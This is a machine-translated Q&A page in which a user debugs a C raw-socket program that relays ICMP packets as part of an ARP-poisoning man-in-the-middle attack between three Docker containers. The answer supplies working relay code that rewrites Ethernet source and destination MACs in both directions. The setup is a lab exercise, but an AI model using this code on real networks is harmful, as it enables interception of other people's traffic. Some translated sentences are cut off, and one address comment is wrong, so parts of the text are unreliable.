中间人在C攻击带有ping回声请求

Question

我正在C中实现中间人攻击。有三个docker容器：主机A(发送方(、主机B(接收方(和主机m(攻击者(。

我的目标是从主机A ping到主机B，但在M处嗅探来自A的回波请求，然后将回波请求从M中继到B。

我已经做过ARP中毒。ICMP数据包正从A发送到M。现在我正试图将回显请求从M中继到B。有趣的事实是：数据包也在中继，但A每5秒发送一个回显请求(ping -i 5 IP-hostB(，M则将回显要求洪泛到主机B。为什么会发生这种情况？我只是在m收到回显请求时才转发数据包。那么M是从哪里得到淹没的回声请求来中继的呢？

编辑在使用相同的套接字接收和发送数据包后，ping洪泛现在已经停止。但现在，回声请求正从M正确地中继到B(最初是从A发送的(。但是主机B不发送针对这些回声响应的回声应答。我使用tcpdump来检查B是否得到了echo请求，以及B是否确实得到了请求。那为什么B不回复信呢？我以为是因为B的arp缓存中毒了。但我在主机B上做了arp -a，它知道主机A的MAC地址是什么

知道是什么原因导致B没有发送回复吗？

相关中继代码：

static unsigned short compute_checksum(unsigned short *addr,
unsigned int count);
static uint16_t icmp_checksum(const uint16_t *const data,
const size_t byte_sz);
void relay_icmp_packet(unsigned char* buffer, int size);

int main()
{
int saddr_size, data_size;
struct sockaddr saddr;
unsigned char *buffer = (unsigned char *) malloc(65536);
int sock_raw = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
//setsockopt(sock_raw , SOL_SOCKET , SO_BINDTODEVICE , "eth0" , strlen("eth0")+ 1 );
if(sock_raw < 0) {
//Print the error with proper message
perror("Socket Error");
return 1;
}
while(1) {
saddr_size = sizeof saddr;
//Receive a packet
data_size = recvfrom(sock_raw, buffer, 65536, 0,
&saddr, (socklen_t*)&saddr_size);
// data_size = recv(sock_raw, buffer, 65536, 0);
if(data_size <0 ) {
printf("Recvfrom error , failed to get packetsn");
return 1;
}
relay_icmp_packet(buffer, data_size);
}
close(sock_raw);
printf("Finished");
return 0;
}
void relay_icmp_packet(unsigned char* buffer, int size)
{
// Host A -> IP: 10.9.0.6   MAC: 02:42:0a:09:00:05
// Host B -> IP: 10.9.0.6   MAC: 02:42:0a:09:00:06
// Host M -> IP: 10.9.0.105 MAC: 02:42:0a:09:00:69
int sockid = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
struct ethhdr *eth = (struct ethhdr *)buffer;
eth->h_dest[0] = 0X02;
eth->h_dest[1] = 0X42;
eth->h_dest[2] = 0X0A;
eth->h_dest[3] = 0X09;
eth->h_dest[4] = 0X00;
eth->h_dest[5] = 0X06;
struct iphdr *iph = (struct iphdr *)(buffer + sizeof(struct ethhdr));
unsigned short iphdrlen =iph->ihl*4;
if (iph->protocol != 1) return;
memset(&source, 0, sizeof(source));
source.sin_addr.s_addr = iph->saddr;
// printf("%sn", inet_ntoa(source.sin_addr));
if (!(iph->saddr == inet_addr("10.9.0.5")
&& iph->daddr== inet_addr("10.9.0.6")))
return;
struct icmphdr *icmph = (struct icmphdr*)(buffer + iphdrlen + sizeof(struct ethhdr));
compute_ip_checksum(iph);
icmph->checksum = 0;
icmph->checksum = icmp_checksum((uint16_t *)icmph, sizeof(icmph));
struct sockaddr_ll device;
memset(&device, 0, sizeof device);
device.sll_ifindex = if_nametoindex("eth0");
int ret = -5;
// ret = send(sockid, eth, size, 0);
ret = sendto(sockid, eth, size, 0,
(const struct sockaddr *)&device, sizeof(device));
}
/* Checksum functions are written here; removed for better readability. I checked with Wireshark: the functions calculate valid checksums. And I'm altering only Ethernet header fields, so the checksum wouldn't change anyway. */

Answer 1

我通过更改中继数据包的以太网头来解决问题。最初我认为我只需要更改目的地MAC地址，因为目的地IP已经是正确的。但事实上，它甚至更简单。让我重申一下这种情况。

有三个主机：A、B和M，其中M是攻击者。A和B的ARP缓存中毒，因此A认为B的MAC地址是MAC_M，而B认为A的MAC地址为MAC

M当A向B发送ICMP数据包时，它会转到M。M需要将源MAC更改为MAC_M，并将目标MAC更改为MAC_B。因为通过ARP

B因此，当我最初只更改目标MAC地址时，B收到了ICMP回显请求，但由于源IP和源MAC根据B的ARP缓存不匹配，因此将其丢弃。

固定后，以下操作起作用。

void relay_icmp_packet(int sockid, unsigned char* buffer, int size)
{
// sockid = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
struct ethhdr *eth = (struct ethhdr *)buffer;
unsigned short ethdrlen = sizeof(struct ethhdr);
struct iphdr *iph = (struct iphdr *)(buffer + sizeof(struct ethhdr));
unsigned short iphdrlen =iph->ihl*4;
if (iph->protocol != 1) return;
if (iph->saddr == inet_addr("10.9.0.5")
&& iph->daddr== inet_addr("10.9.0.6")) {
eth->h_source[0] = 0X02;
eth->h_source[1] = 0X42;
eth->h_source[2] = 0X0A;
eth->h_source[3] = 0X09;
eth->h_source[4] = 0X00;
eth->h_source[5] = 0X69;
eth->h_dest[0] = 0X02;
eth->h_dest[1] = 0X42;
eth->h_dest[2] = 0X0A;
eth->h_dest[3] = 0X09;
eth->h_dest[4] = 0X00;
eth->h_dest[5] = 0X06;
} else if (iph->saddr == inet_addr("10.9.0.6")
&& iph->daddr== inet_addr("10.9.0.5")) {
eth->h_source[0] = 0X02;
eth->h_source[1] = 0X42;
eth->h_source[2] = 0X0A;
eth->h_source[3] = 0X09;
eth->h_source[4] = 0X00;
eth->h_source[5] = 0X69;
eth->h_dest[0] = 0X02;
eth->h_dest[1] = 0X42;
eth->h_dest[2] = 0X0A;
eth->h_dest[3] = 0X09;
eth->h_dest[4] = 0X00;
eth->h_dest[5] = 0X05;
} else {
printf("FUCKn");
return;
}
struct icmphdr *icmph = (struct icmphdr*)(buffer + iphdrlen + ethdrlen);
int header_size =  sizeof(struct ethhdr) + iphdrlen + sizeof icmph;
iph->check = 0;
iph->check = compute_checksum((uint16_t*)iph, iphdrlen);
icmph->checksum = 0;
icmph->checksum = compute_checksum((uint16_t *)icmph,
size - ethdrlen - iphdrlen);
struct sockaddr_ll device;
memset(&device, 0, sizeof device);
device.sll_ifindex = if_nametoindex("eth0");
int ret;
ret = sendto(sockid, eth, size, 0,
(const struct sockaddr *)&device, sizeof(device));
if (ret > 0) {
printf("[%d] ICMP packet relayed to ", ret);
PRINT_MAC_ADDRESS(stdout, eth->h_dest);
}
// close(sockid);
}